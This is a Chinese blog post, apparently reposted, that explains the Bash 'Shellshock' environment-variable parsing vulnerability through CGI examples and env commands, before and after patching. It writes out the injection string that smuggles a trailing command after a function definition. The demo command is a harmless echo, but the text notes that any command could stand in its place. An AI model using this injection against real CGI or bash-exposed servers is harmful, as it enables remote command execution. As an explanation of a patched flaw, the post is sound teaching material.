你是否正在寻找关于bash 漏洞的内容?让我把最简洁的东西奉献给你:

1 环境变量是什么

无论是Windows程序还是Linux程序,都支持环境变量,一般来讲环境变量作为赋值字符串的形式存放到进程内存空间的开头部分。用户在执行一个程序时,可以通过指定环境变量来给被执行的程序传递信息。在GUI占主导的Windows平台上,一般用户很少需要使用环境变量来为程序传递信息,。环境变量是进程空间的资源,不同进程的环境变量不能共享。但是可以通过进程资源继承机制来把父进程的环境变量复制一份到子进程中。例如,为bash进程设置的环境变量,会自动复制一份到通过bash启动的子进程中。

不同的程序对环境变量的应用程度也不相同,很多小程序可以都对环境变量不予理会。然而也有很多程序严重依赖于环境变量,如用于Web的CGI程序,其所有的表单数据都是通过环境变量的形式由web服务器进程传递给CGI程序的。下面是一个用C语言写的简单的CGI程序。int main(void)

{

char *data;

long m,n;

printf("%s%c%c ","Content-Type:text/html;charset=gb2312",13,10);

printf("< TITLE >乘法结果< /TITLE > ");

printf("< H3 >乘法结果< /H3 > ");

data = getenv("QUERY_STRING");

if(data == NULL)

printf("< P >错误!数据没有被输入或者数据传输有问题");

else if(sscanf(data,"m=%ld&n=%ld",&m,&n)!=2)

printf("< P >错误!输入数据非法。表单中输入的必须是数字。");

else

printf("< P >%ld和%ld的成绩是:%ld。",m,n,m*n);

return 0;

}

可以看出,客户端发来的GET请求字符串是通过环境变量QUERY_STRING传递给这个程序的。

Bash也是一个环境变量重度用户,当然使用bash编写的CGI程序就更加依赖于环境变量了。下面是用bash写的CGI程序。#!/bin/bash

echo 'Content-type: test/html'

echo ''

echo $QUERY_STRING

同样也是使用了环境变量QUERY_STRING.2 bash 分析环境变量存在的漏洞分析

前面说过,环境变量就是一组特殊的字符串,利用环境变量的程序必须要对其进行分析处理。对字符串的处理是大部分程序中很重要的任务,对于Web程序而已更甚(html,xml, json文件内容本身就是字符串)。

bash当然也不例外,它需要分析环境变量字符串,然后解释其意义并执行相关操作。由于bash脚本本身就是文本字符串,所以bash引擎可以简单把环境变量字符串转变为脚本格式的字符串,然后拿出来与要执行的bash脚本合并,然后再解释执行合并后的脚本。

例如如下脚本:echo 环境变量X的值是$X

环境变量为X=100,那么合并后相当于:X=100

echo 环境变量X的值为$X

我们可以通过env这个工具来试试效果,env 的作用就是为即将执行的程序指定环境变量。[root@localhost ~]# env X=100 bash -c 'echo 环境变量X的值为$X';

环境变量X的值为100

再来构造一个特殊点的环境变量。[root@localhost ~]# env X='() { echo 我是环境变量;};' bash -c 'env';

HOSTNAME=localhost.localdomain

.... 省略显示无关环境变量

SSH_CONNECTION=172.16.35.220 60128 172.16.35.135 22

LESSOPEN=|/usr/bin/lesspipe.sh %s

G_BROKEN_FILENAMES=1

X=() { echo 我是环境变量

}

此时,环境变量X还是一个字符串而已,但是bash把他解释为了一个函数类型而不是一个字符串类型的值。所以可以直接执行这个函数了。如下:[root@localhost ~]# env X='() { echo 我是环境变量;};' bash -c 'X';

我是环境变量

此时,bash解释环境变量后转换成的脚本为:X() { echo 我是环境变量;};

而不是原样照搬为X=(){ echo 我是环境变量;};

可见对于不同的字符串格式的环境变量值,bash有不同的解释方式。

继续让这个X的值更复杂一点,如下:[root@localhost ~]# env X='() { echo 我是环境变量;}; echo 你中招了' bash -c 'env'

你中招了

HOSTNAME=localhost.localdomain

SHELL=/bin/bash

SSH_CONNECTION=172.16.35.220 60128 172.16.35.135 22

LESSOPEN=|/usr/bin/lesspipe.sh %s

G_BROKEN_FILENAMES=1

X=() { echo 我是环境变量

}

_=/bin/env

问题出现了!此时env为bash设置的环境变量X的值为() { echo 我是环境变量;}; echo 你中招了

bash把前半部分解释成了函数X的函数体,而把后半部分啥也没做,直接原样转为脚本。解释后的脚本如下:X() { echo 我是环境变量;};

echo 你中招了

合并后的脚本如下:X() { echo 我是环境变量;};

echo 你中招了

env

这样就会直接执行echo 你中招了,而其实这个命令可以换成任意其他命令,也就达到让bash执行任意命令的目的了。这就是此次bash漏洞的基本原理。

再来看看打完补丁后的效果。[root@localhost ~]# env X='() { echo 我是环境变量;}; echo 你中招了' bash -c 'env'

HOSTNAME=localhost.localdomain

SHELL=/bin/bash

X=() { echo 我是环境变量;}; echo 你中招了

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin

_=/bin/env

[root@localhost ~]# env X='() { echo 我是环境变量;}; echo 你中招了' bash -c 'echo $X'

() { echo 我是环境变量;}; echo 你中招了

可以看出此时,bash不再把X当成函数来解释,而是把整个环境变量的值都全部作为纯字符串赋予了X。3 谁会受到bash漏洞的影响?

本文来自电脑杂谈,转载请注明本文网址:

http://www.pc-fly.com/a/shenmilingyu/article-17595-1.html

linux子系统 显卡,bash 漏洞?linux授权命令sudo?windows linux子系统?新手理解的bash环境变量解析漏洞...相关推荐

  1. bash: go: 未找到命令_golang快速入门[2.3]-go语言开发环境配置-linux

    linux安装Go语言开发包 默认读者会使用linux的基本操作 配置go语言的开发环境的第一步是要在go官网下载页面下载开发包 linux需要下载tar.gz压缩文件 这里我们下载的是 64 位的开 ...

  2. linux 获取内核线程数,如何从命令行获取Linux中的CPU /内核数量?

    前言: 基于/proc/cpuinfo的答案的问题是,它们parsing了供人类使用的信息,因此缺乏为机器分析devise的稳定格式 :输出格式可能因平台和运行时间条件而有所不同; 在Linux上使用 ...

  3. linux终端使用python3,3 个 Python 命令行工具 | Linux 中国

    原标题:3 个 Python 命令行工具 | Linux 中国 用 Click.Docopt 和 Fire 库写你自己的命令行应用. -- Jeff Triplett, Lacey Williams ...

  4. Linux下 查看网络连接状态的命令是,查看Linux操作系统下的网络连接状态命令

    benzaoai 签约达人 07-08 TA获得超过1839个赞 查看操作系统信息的相关命令太多了,下面这个列表算是常用的和查看操作系统相关的命令的合集吧.希望能帮到你! # uname -a # 查 ...

  5. linux系统手柄模拟器下载,Switch Amiibo模拟器(Windows|Linux PC + JoyControl + Bluetooth)...

    之前我发了一篇文章,介绍如何用安卓手机模拟switch的pro手柄刷amiibo,大家如果感兴趣可以点击我的那篇文章:蓝牙5.0安卓手机连接switch刷任意amiibo,不用白卡.但是如果你没有蓝牙 ...

  6. Linux、Windows、Mac安装JDK并配置环境变量(附删除原有jdk)

    查看并卸载Linux自带的JDK 首先连接上你的linux服务器,输入java -version命令,查看当前服务器的jdk安装情况: #查看版本 java -version #查询本地安装的JDK ...

  7. linux检测不到win,c# – 如何正确检测Windows,Linux和Mac操作系统

    我找不到任何真正有效的检测C#程序正在运行的平台(Windows / Linux / Mac)的功能,特别是在Mac上返回Unix并且几乎不能与Linux平台区分开来! 所以我根据Mac的特点,做了一 ...

  8. 文件上传漏洞总结(含原因+防御措施)+白名单+黑名单+内容、头+解析漏洞/修补方案

    文件上传漏洞简单总结+白名单+黑名单+内容.头+解析漏洞/修补方案 问题 什么是文件上传漏洞? 危害? 防御措施? 文件上传(验证/绕过)措施? 前端 js类绕过? 后端 黑名单绕过 特殊解析后缀 . ...

  9. mvn命令无效之为idea自带maven配置环境变量

    不配置maven的话,当我们在终端使用mvn命令会出现: bash: mvn: command not found 在大多情况下,使用idea自带的maven可以满足我们的需要,不需另行下载安装 1. ...

最新文章

  1. GO语言教程4:defer(延迟语句)详解
  2. LINUX中断学习笔记【转】
  3. MSSQL差异备份取系统权限
  4. Mysql 水平拆分和垂直拆分
  5. JS动态生成的元素,其对应的方法不响应(比如单击事件,鼠标移动事件等)...
  6. 28.进程和程序的区别
  7. 数学建模——ARIMA时间序列预测模型Python代码
  8. 逆向工程(Reverse Engineering)
  9. 使用代码创建SAP CRM服务请求文档的subject测试数据
  10. Fiori里花瓣的动画效果实现原理
  11. android item三种,Android RecyclerView中的ItemDecoration的几种绘制方法
  12. 厦门大学计算机科学与技术学院考研分数线,2020年厦门大学计算机科学与技术考研经验分享...
  13. python数据类型总结
  14. mysql audit_关于Mysql Enterprise Audit plugin的使用
  15. 网吧Windows XP母盘制作详解(转)
  16. 启发式搜索A*算法【引入及思想】
  17. 河南2021年高考成绩位次查询,河南高考成绩位次排名查询2020,河南高考一分一段表...
  18. 1. 计算机网络和因特网
  19. java学的什么软件_java初学者用什么软件
  20. Metaspace GC 问题排查

热门文章

  1. Linq = MyMetal = SqlMetal Include 自定义(Linq to sql )生成
  2. oracle sha2,Oracle11.2.0.1在AMD CPU 64位硬件,32位操作系统下的BUG 8670579
  3. 系统视图和用户视图的区别_读书笔记——数据库系统概论
  4. UInput使用注意事项
  5. Java中函数参数不固定的问题
  6. 不要相信 errno 可靠
  7. 从 FingBugs的错误来看JAVA代码质量
  8. Android 游戏引擎汇总
  9. nginx配置二级域名
  10. 饿了么订单--快到碗里来